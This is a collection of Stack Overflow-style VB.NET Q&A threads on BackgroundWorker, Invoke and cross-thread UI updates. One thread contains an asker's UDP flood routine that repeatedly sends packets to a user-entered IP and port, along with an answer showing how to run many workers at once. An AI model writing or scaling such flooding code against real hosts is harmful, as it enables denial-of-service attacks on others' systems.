VB.Net Multiple background workers - Only last task completes - vb.net

I have been pulling my hair out trying to get this to work. If I step through the code in debugger it all works great.
My problem is if I just run it, only the last task responds. I'm guessing I am overwriting the background working or something. I am sure I am doing a few things wrong but my code is now messy as I tried many way while searching. I know of the threadpool and .Net 4.0 tasks but having a hard time getting to do what I need.
Basicly I am writing a program (trying more likely) that takes a list of computers and pings then, then checks their uptime and reports back.
This works fine in the UI thread (Obviously that locks up my screen). I can have the background worker just do this, but then it does each computer 1 by one, and while the screen is responsive it still takes a long time.
So my answer was to have a for loop for each server launching a new background worker thread. My solution does not work.
I have seen other threads that I could do it, but I need to use with events to call code to update to UI when each is done.
What is the most simple way to do this?
Here is my code. Most is just copy paste + modify till I get it working right.
So In the main class I have the testworker.
(I tried using Testworker() but it said I could not do that WithEvents)
When I click the button the list loads.
Private WithEvents TestWorker As System.ComponentModel.BackgroundWorker
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.Windows.RoutedEventArgs) Handles Button1.Click
Button1.IsEnabled = False
Dim indexMax As Integer
indexMax = DataGridStatus.Items.Count
For index = 1 To (indexMax)
Dim Temp As ServerInfo = DataGridStatus.Items(index - 1)
Temp.Index = index - 1
Call_Thread(Temp)
Next
End Sub
Private Sub Call_Thread(ByVal server As ServerInfo)
Dim localserver As ServerInfo = server
TestWorker = New System.ComponentModel.BackgroundWorker
TestWorker.WorkerReportsProgress = True
TestWorker.WorkerSupportsCancellation = True
TestWorker.RunWorkerAsync(localserver)
End Sub
Private Sub TestWorker_DoWork(ByVal sender As Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles TestWorker.DoWork
Dim iparray As IPHostEntry
Dim ip() As IPAddress
Dim Server As ServerInfo
Server = e.Argument
Try
'Get IP Address first
iparray = Dns.GetHostEntry(Server.ServerName)
ip = iparray.AddressList
Server.IPAddress = ip(0).ToString
'Try Pinging
Server.PingResult = PingHost(Server.ServerName)
If Server.PingResult = "Success" Then
'If ping success, get uptime
Server.UpTime = GetUptime(Server.ServerName)
Else
Server.PingResult = "Failed"
End If
Catch ex As Exception
Server.PingResult = "Error"
End Try
TestWorker.ReportProgress(0, Server)
Thread.Sleep(1000)
End Sub
Private Sub TestWorker_ProgressChanged(ByVal sender As Object, ByVal e As System.ComponentModel.ProgressChangedEventArgs) Handles TestWorker.ProgressChanged
Dim index As Integer
Dim serverchange As ServerInfo = DirectCast(e.UserState, ServerInfo)
index = DataGridStatus.Items.IndexOf(serverchange)
' index = serverchange.Index
DataGridStatus.Items.Item(index) = serverchange
' ProgressBar1.Value = e.ProgressPercentage
DataGridStatus.Items.Refresh()
End Sub

You are only getting the last result because you are blowing away your BackgroundWorker each time you call TestWorker = New System.ComponentModel.BackgroundWorker. Since the processing is being done asynchronously, this line is being called multiple times within your for loop before the previous work has finished.
Something like the following might work. (Sorry, my VB is rusty; there are probably more efficient ways of expressing this.)
Delegate Function PingDelegate(ByVal server As String) As String
Private _completedCount As Int32
Private ReadOnly _lockObject As New System.Object
Dim _rnd As New Random
Private _servers As List(Of String)
Private Sub GoButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GoButton.Click
_servers = New List(Of System.String)(New String() {"adam", "betty", "clyde", "danny", "evan", "fred", "gertrude", "hank", "ice-t", "joshua"})
_completedCount = 0
ListBox1.Items.Clear()
GoButton.Enabled = False
BackgroundWorker1.RunWorkerAsync(_servers)
End Sub
Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
Dim servers As List(Of System.String) = DirectCast(e.Argument, List(Of System.String))
Dim waitHandles As New List(Of WaitHandle)
For Each server As System.String In servers
' Get a delegate for the ping operation. .Net will let you call it asynchronously
Dim d As New PingDelegate(AddressOf Ping)
' Start the ping operation async. When the ping is complete, it will automatically call PingIsDone
Dim ar As IAsyncResult = d.BeginInvoke(server, AddressOf PingIsDone, d)
' Add the IAsyncResult for this invocation to our collection.
waitHandles.Add(ar.AsyncWaitHandle)
Next
' Wait until everything is done. This will not block the UI thread because it is happening
' in the background. You could also use the overload that takes a timeout value and
' check to see if the user has requested cancellation, for example. Once all operations
' are complete, this method will exit scope and the BackgroundWorker1_RunWorkerCompleted
' will be called.
WaitHandle.WaitAll(waitHandles.ToArray())
End Sub
Private Sub BackgroundWorker1_ProgressChanged(ByVal sender As System.Object, ByVal e As System.ComponentModel.ProgressChangedEventArgs) Handles BackgroundWorker1.ProgressChanged
ListBox1.Items.Add(String.Format("{0} ({1}% done)", e.UserState, e.ProgressPercentage))
End Sub
Private Sub BackgroundWorker1_RunWorkerCompleted(ByVal sender As System.Object, ByVal e As System.ComponentModel.RunWorkerCompletedEventArgs) Handles BackgroundWorker1.RunWorkerCompleted
GoButton.Enabled = True
End Sub
Private Function Ping(ByVal server As System.String) As System.String
' Simulate a ping with random result and duration
Threading.Thread.Sleep(_rnd.Next(1000, 4000))
Dim result As Int32 = _rnd.Next(0, 2)
If result = 0 Then
Return server & " is ok"
Else
Return server & " is down"
End If
End Function
Private Sub PingIsDone(ByVal ar As IAsyncResult)
' This method is called everytime a ping operation completes. Note that the order in which
' this method fires is completely independant of the order of the servers. The first server
' to respond calls this method first, etc. This keeps optimal performance.
Dim d As PingDelegate = DirectCast(ar.AsyncState, PingDelegate)
' Complete the operation and get the result.
Dim pingResult As String = d.EndInvoke(ar)
' To be safe, we put a lock around this so that _completedCount gets incremented atomically
' with the progress report. This may or may not be necessary in your application.
SyncLock (_lockObject)
_completedCount = _completedCount + 1
Dim percent As Int32 = _completedCount * 100 / _servers.Count
BackgroundWorker1.ReportProgress(percent, pingResult)
End SyncLock
End Sub

Update: I posted this answer focusing on exactly what you were trying to do from a technical standpoint (use many background workers) without really putting much thought into whether or not this was a good way to accomplish your real objective. In fact, I think you could achieve what you're going for much more easily with a single BackgroundWorker and something like a Parallel.ForEach loop in its DoWork event handler (this takes care of a lot of the nitty gritty work in, e.g., Dave's solution).
When you declare WithEvents TestWorker As BackgroundWorker in VB it wraps it up something like this (not exactly—this is just to illustrate the idea):
Private _TestWorker As BackgroundWorker
Private Property TestWorker As BackgroundWorker
Get
Return _TestWorker
End Get
Set(ByVal value As BackgroundWorker)
' This is all probably handled in a more thread-safe way, mind you. '
Dim prevWorker As BackgroundWorker = _TestWorker
If prevWorker IsNot Nothing Then
RemoveHandler prevWorker.DoWork, AddressOf TestWorker_DoWork
' etc. '
End If
If value IsNot Nothing Then
AddHandler value.DoWork, AddressOf TestWorker_DoWork
' etc. '
End If
_TestWorker = value
End Set
End Property
When you realize this, it becomes clear that by setting TestWorker to a new BackgroundWorker on every call to Call_Thread, you are removing any attached handlers from the object previously referenced by the field.
The most obvious fix would simply be to create a new local BackgroundWorker object in each call to Call_Thread, attach the handlers there (using AddHandler and RemoveHandler), and then just let it do its thing:
Private Sub Call_Thread(ByVal server As ServerInfo)
Dim localserver As ServerInfo = server
' Use a local variable for the new worker. '
' This takes the place of the Private WithEvents field. '
Dim worker As New System.ComponentModel.BackgroundWorker
' Set it up. '
With worker
.WorkerReportsProgress = True
.WorkerSupportsCancellation = True
End With
' Attach the handlers. '
AddHandler worker.DoWork, AddressOf TestWorker_DoWork
AddHandler worker.ProgressChanged, AdressOf TestWorker_ProgressChanged
' Do the work. '
worker.RunWorkerAsync(localserver)
End Sub
Creating the worker right there in the method should be fine as long as you do so from the UI thread, since BackgroundWorker automatically attaches to the current SynchronizationContext in its constructor (if I remember correctly).

Ideally you should use only 1 backgroundworker and use it like this:
Assemble all the work that needs to be done: in your case a list of ServerInfo
Do the work in the background: ping all the servers and keep the result
Report progress: for example after each server pinged
Put results back in DoWorkEventArgs.Result
Display the results back in your UI.

You need to attach TestWorker_DoWork and TestWorker_ProgressChanged to the DoWork and ProgressChanged events within Call_Thread. I haven't yet examined the rest of the code, but that is why it isn't doing anything now.
TestWorker = New System.ComponentModel.BackgroundWorker
TestWorker.WorkerReportsProgress = True
TestWorker.WorkerSupportsCancellation = True
AddHandler TestWorker.DoWork, AddressOf TestWorker_DoWork
AddHandler TestWorker.ProgressChanged, AddressOf TestWorker_ProgressChanged
TestWorker.RunWorkerAsync(localserver)

Related

Cannot update textbox vb.net -crossthreading

I am trying to make an application to run multiple (adb specially) commands and get the output and display in a label.
First of all, i need to start the process to execute the commands. Thanks to stackoverflow and #pasty I found this (second reply): How to get Output of a Command Prompt Window line by line in Visual Basic?
Well, i thought that because it outputted to the console, it would be simple to just write it to the label. BIG MISTAKE! It gives me a cross threading error!
A little bit of googling and stack overflow I found this: vb.net accessed from a thread other than the thread it was created on
Well, i tried to implement that, but the program just crashes freezes.
Here is the code:
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
' store error output lines
Dim executable As String() = {"adb", "adb"}
Dim arguments As String() = {"help", "reboot"}
For i As Integer = 0 To 0
Dim process = New Process()
process.StartInfo = createStartInfo(executable(i), arguments(i))
process.EnableRaisingEvents = True
AddHandler process.Exited, Sub(ByVal sendera As Object, ByVal ea As System.EventArgs)
Console.WriteLine(process.ExitTime)
Console.WriteLine(". Processing done.")
'UpdateTextBox(ea)
End Sub
' catch standard output
AddHandler process.OutputDataReceived, Sub(ByVal senderb As Object, ByVal eb As DataReceivedEventArgs)
If (Not String.IsNullOrEmpty(eb.Data)) Then
Console.WriteLine(String.Format("{0}> {1}", DateTime.Now.ToString("dd.MM.yyyy HH:mm:ss"), eb.Data))
'UpdateTextBox(eb.Data)
End If
End Sub
' catch errors
AddHandler process.ErrorDataReceived, Sub(ByVal senderc As Object, ByVal ec As DataReceivedEventArgs)
Console.WriteLine(String.Format("! {0}", ec.Data))
Dim a As String = String.Format("! {0}", ec.Data)
'UpdateTextBox(a)
End Sub
' start process
Dim result = process.Start()
' and wait for output
process.BeginOutputReadLine()
' and wait for errors :-)
process.BeginErrorReadLine()
process.WaitForExit()
Next
End Sub
Private Sub UpdateTextBox(ByVal a As String)
If Me.InvokeRequired Then
Dim args() As String = {a}
Me.Invoke(New Action(Of String)(AddressOf UpdateTextBox), args)
Return
End If
Label1.Text += "a"
End Sub
Private Function createStartInfo(ByVal executable As String, ByVal arguments As String) As ProcessStartInfo
Dim processStartInfo = New ProcessStartInfo(executable, arguments)
processStartInfo.WorkingDirectory = Path.GetDirectoryName(executable)
' we want to read standard output
processStartInfo.RedirectStandardOutput = True
' we want to read the standard error
processStartInfo.RedirectStandardError = True
processStartInfo.UseShellExecute = False
processStartInfo.ErrorDialog = False
processStartInfo.CreateNoWindow = True
Return processStartInfo
End Function
And the source code: https://github.com/iAmAOpenSource/SyncfusionWindowsFormsApplication3
The call to process.WaitForExit() will block the UI thread until the spawned process exits, but while processing the output in the process.OutputDataReceived event you are calling Me.Invoke which tries to run the code on the UI thread, which is blocked, so the program freezes. You could move the logic in Button1_Click onto another thread, e.g.
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Task.Run(
Sub()
... current logic
End Sub
)
End Sub
That way the UI thread won't be blocked and the Me.Invoke call won't cause a deadlock.

Raise Event when a Function return True

Part of a program I am modifying involves communicating through a serial port using a proprietary library. Unfortunately, this library does not have the same SerialPort.DataReceived event that the System.IO.Ports namespace contains. In fact, it has no events whatsoever, however it does have two functions that can probably be used similarly:
Port.WaitForData(int time)
This function waits the given amount of time to recieve some previously specified strings over the port. It returns 1 for yes, received string, or 0 for no, did not recieve string, timed out.
Port.IsReceiveBufferEmpty()
This function returns a boolean of yes, the receive buffer is empty or no, the receive buffer contains data.
It seems to me I will have to create some thread to be continuously looping whenever the port is opened and do one of these two things:
For every loop, call WaitForData(some big number) with the specified strings it is looking for set to "", or vbCrLf, or something else that I can confirm it will recieve everytime data is sent. If it finds smoething, read it and write to a textbox. If WaitForData doesn't find anything, loop again.
For every loop, call IsReceiveBufferEmpty(), and if it isn't, read it and write to a textbox.
What the best way to go about implementing this? The first options seems potentially more efficient to me, although I know next to nothing about how these method work under the hood. Obviously I want to keep my form responsive when doing this, so how should I go about continuously looping without freezing the form but being able to read any incoming data?
Thanks for your help.
Perhaps not the most elegant solution, but you could use a BackgroundWorker to do the IO. e.g. something like this pseudo-code:
Public Class MyForm
Private _port As ProprietaryIOLibrary
Private WithEvents Worker As System.ComponentModel.BackgroundWorker
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
_port = New ProprietaryIOLibrary()
Worker = New System.ComponentModel.BackgroundWorker()
Worker.WorkerReportsProgress = True
Worker.WorkerSupportsCancellation = True
Worker.RunWorkerAsync()
End Sub
Private Sub ButtonCancel_Click(sender As Object, e As EventArgs) Handles ButtonCancel.Click
Worker.CancelAsync()
End Sub
Private Sub Worker_DoWork(sender As Object, e As DoWorkEventArgs) Handles Worker.DoWork
Do
If _port.WaitForData(1000) Then ' Adjust timeout depending on cancel responsiveness?
Dim data As String = _port.ReadDataAsString() ' ?
' Trigger the ProgressChanged event, passing the data
Worker.ReportProgress(0, data)
End If
If Worker.CancellationPending Then
Exit Do
End If
Loop
End Sub
Private Sub Worker_ProgressChanged(sender As Object, e As ProgressChangedEventArgs) Handles Worker.ProgressChanged
' Update the UI with the data received
' ProgressChanged is called on the UI thread, so no need to Invoke
Dim data As String = DirectCast(e.UserState, String)
TextBox1.Text &= data & vbCrLf
End Sub
Private Sub Worker_RunWorkerCompleted(sender As Object, e As RunWorkerCompletedEventArgs) Handles Worker.RunWorkerCompleted
TextBox1.Text &= "Complete!"
End Sub
End Class

Activating timer from another thread

So the purpose of it is to check the connection of the ftp server and if the ftp is up then enable timer1. I've read that threads don't work as synchonized and that is causing the problem. Without the thread it works fine, but the program hangs and stops responding constantly.
How can i activate a timer from another thread?
Maybe invoking and delegating would work? But i don't know how to do that.
Public Function CanPortOpen(ByVal HostName As String, ByVal Port As Integer) As Boolean
Dim TCP As New System.Net.Sockets.TcpClient
Try
TCP.Connect(HostName, Port)
Catch
End Try
If TCP.Connected = True Then
CanPortOpen = True
TCP.Close()
Timer1.Enabled = True
Else
CanPortOpen = False
TCP.Close()
Timer1.Enabled = False
FTPup.Abort()
End If
End Function
Public Sub CheckConnection()
CanPortOpen("HostName", Port)
End Sub
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
TestFTP = New System.Threading.Thread(AddressOf CheckConnection)
TestFTP.IsBackground = True
TestFTP.Priority = Threading.ThreadPriority.AboveNormal
TestFTP.Start()
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
FTPup = New System.Threading.Thread(AddressOf UploadToFTP)
FTPup.IsBackground = True
FTPup.Priority = Threading.ThreadPriority.AboveNormal
FTPup.Start()
End Sub
I think before you start getting in too deep with threads you should start by looking at the BackgroundWorker component. You can find it on your toolbar in the designer and can drop it on your form. It gives you several events
DoWork - hook up this event with whatever you want done in a background thread
RunWorkerCompleted - hook up this event to run code in the main (UI) thread, triggered when the thread completes. Code here can interact with UI objects as normal.
There are other events that allow you to report progress to your main thread, etc. The purpose of the BackgroundWorker component is to make simple multithreading tasks like this easier.
Documentation is -> here
See -> here for examples of how to pass data from the worker thread to the main thread using EventArgs.
Alternatively, if you just want to run the timer from your thread you can do it like this :
'Declare an appropriate delegate
Delegate Sub dlgTimerEnable(ByVal enable as Boolean)
'the delegate should match the method signature
Private Sub TimerEnable(ByVal enable as Boolean)
Timer1.Enabled = enable
End Sub
and then in your thread procedure
Public Function CanPortOpen(ByVal HostName As String, ByVal Port As Integer) As Boolean
Dim TCP As New System.Net.Sockets.TcpClient
Try
TCP.Connect(HostName, Port)
Catch
End Try
If TCP.Connected = True Then
CanPortOpen = True
TCP.Close()
Me.Invoke(New dlgTimerEnable(AddressOf TimerEnable), New Object() {True})
Else
CanPortOpen = False
TCP.Close()
Me.Invoke(New dlgTimerEnable(AddressOf TimerEnable), New Object() {False})
FTPup.Abort()
End If
End Function
Here Invoke causes the method to be executed on the thread that owns Timer1 (assuming this is a method in your form where Me would refer to your form). The arguments are passed as an object.
You can even do this as a general way to work with any timer, for example :
Delegate Sub dlgTimerEnable(ByRef tmr As Timer, ByVal enable As Boolean)
Private Sub TimerEnable(ByRef tmr As Timer, ByVal enable As Boolean)
tmr.Enabled = enable
End Sub
and then :
Me.Invoke(New dlgTimerEnable(AddressOf TimerEnable), New Object() {Timer1, True})
This makes your delegate general - you can pass it any timer and enable/disable it.

VB.NET - Running one sub multiple times at once

I have one Private sub that runs in a loop. I want the sub to run multiple times at once. For example the program runs, you press start; you run the program again and press start, again and again... the same program doing the job at once. now i just want one program do to it alone. But i would like it to be user defined. exp. run program. type in a text box 10. press start. and it works as if 10 of them work open working on the same thing.
I have seen another program made with vb.net 2010 and its what i use and do not know how to do it. so i am just wondering.
Private Sub Flood1(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles Flood.DoWork
Dim IP As IPAddress = IPAddress.Parse(TextBox1.Text)
Dim IPPort As New IPEndPoint(IP, Convert.ToInt32(TextBox2.Text))
Dim PacketS As Byte() = New Byte(TextBox3.Text) {}
Dim SocketN As Integer = Convert.ToInt32(TextBox4.Text)
Do While Flooding = True
For i = 0 To SocketN
If Flooding = True Then
Dim _Sock(i) As Socket
_Sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
Try
_Sock(i).SendTo(PacketS, IPPort)
Threading.Thread.Sleep(500)
Catch ex As Exception
Threading.Thread.Sleep(500)
End Try
Else
Exit Do
End If
Next
Loop
End Sub
Mostly want to have this work over and over at once by the users choice... kinda hoped not to use this code else might not get helped.
You can use background worker for that.
Once you know how many workers you want to do the job
just create those many instances of background worker.
Tell me if this is the answer you are looking for or not
Sample Source Code
Imports System.ComponentModel
Module Module1
Sub Main()
Console.WriteLine("Please enter the worker count:")
Dim workerCount As Integer = Console.ReadLine()
For i As Int16 = 0 To workerCount
Dim worker As BackgroundWorker = New BackgroundWorker
worker.RunWorkerAsync(i + 1)
AddHandler worker.DoWork, AddressOf Worker_DoWork
Next
End Sub
Private Sub Worker_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs)
Console.WriteLine(e.Argument.ToString())
End Sub
End Module

Creating a form in a new thread (From an Event)

I have a small form that notifies the user on the completion of events (such as SMO restore).
I want this form to appear from various sources (such as the below SMO Restore complete event) so I guess I need to create a new thread before creating the form? As it could be called from outside the UI thread. (I also need to pass a string to this form)
The child form fades in out using a timer + Opacity.
What am I doing wrong here?
Private Sub CompleteEventHandler(ByVal sender As Object, ByVal e As Microsoft.SqlServer.Management.Common.ServerMessageEventArgs)
MyThread = New System.Threading.Thread(AddressOf DoStuff)
MyThread.Start("meh")
End Sub
Private Delegate Sub DoStuffDelegate(ByVal MsgString As String)
Private Sub DoStuff(ByVal MsgString As String)
If Me.InvokeRequired Then
Me.Invoke(New DoStuffDelegate(AddressOf DoStuff))
Else
Dim TempMessage As New frmNotification
TempMessage.lblMessage.Text = MsgString
TempMessage.Show()
End If
End Sub
Don't start a new thread, there's no point since you're already running on another thread and InvokeRequired will always be True. The mistake is that you call Me.Invoke() but forget to pass the "MsgString" argument. You'll also want to use Me.BeginInvoke(), no need to wait. Thus:
Private Sub CompleteEventHandler(ByVal sender As Object, ByVal e As EventArgs)
Me.BeginInvoke(New DoStuffDelegate(AddressOf DoStuff), "meh")
End Sub
Private Sub DoStuff(ByVal MsgString As String)
Dim TempMessage As New frmNotification
TempMessage.lblMessage.Text = MsgString
TempMessage.Show()
End Sub